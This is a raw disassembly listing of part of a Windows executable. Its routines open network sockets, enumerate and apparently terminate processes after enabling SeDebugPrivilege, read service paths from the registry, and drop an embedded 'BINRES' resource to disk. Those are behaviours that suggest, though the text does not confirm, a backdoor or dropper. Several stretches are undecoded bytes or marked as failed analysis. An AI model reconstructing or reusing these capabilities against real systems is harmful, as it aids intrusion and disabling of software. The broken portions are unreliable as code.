loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 2830000h
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB58
		xor	eax, eax
		mov	dword_50BB44, eax
		mov	dword_50BB3C, 1
		mov	dword_50BB4C, eax
		mov	dword_50BB50, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB5C
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		nop
		call	near ptr 28F07D3h
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44793F
		mov	dword_50BB38, 20h
		mov	dword_50BB3C, 2
		mov	dword_50BB40, 3
		mov	dword_50BB44, esi
		mov	dword_50BB48, esi
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28F0416h
		cmp	eax, esi
		mov	dword_50BB5C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		nop
		call	near ptr 28F07D3h


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB58, ecx
		push	100h
		mov	ecx, offset byte_44793F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2880B1Ah
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 27907B1h
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 2790B60h
		nop
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2790E7Ah
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0FF96E856h, 0C690022Eh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 28308B0h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 2930000h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28E0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443AF4 ; "\\"
		call	near ptr 76085AE4h
		nop
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		call	near ptr 760976AFh
		nop
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 23C0588h,	14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29007AAh
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 28A0683h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2910000h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		nop
		call	near ptr 2780929h
		push	eax
		call	near ptr 28C156Ah
		nop
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	near ptr 278098Ah
		nop
		push	eax
		nop
		call	near ptr 28C1C44h
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27B07FFh
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 27809BDh
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 2710000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2880B1Ah
		nop
		test	eax, eax
		mov	dword_50BB60, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 27D0796h
		nop
		test	eax, eax
		mov	dword_50BB60, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB64, eax
		mov	eax, dword_50BB60
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB60
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB68, eax
		call	esi
		mov	ecx, dword_50BB64
		mov	dword_50BB6C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB68
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB68
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB6C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 28308B0h


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
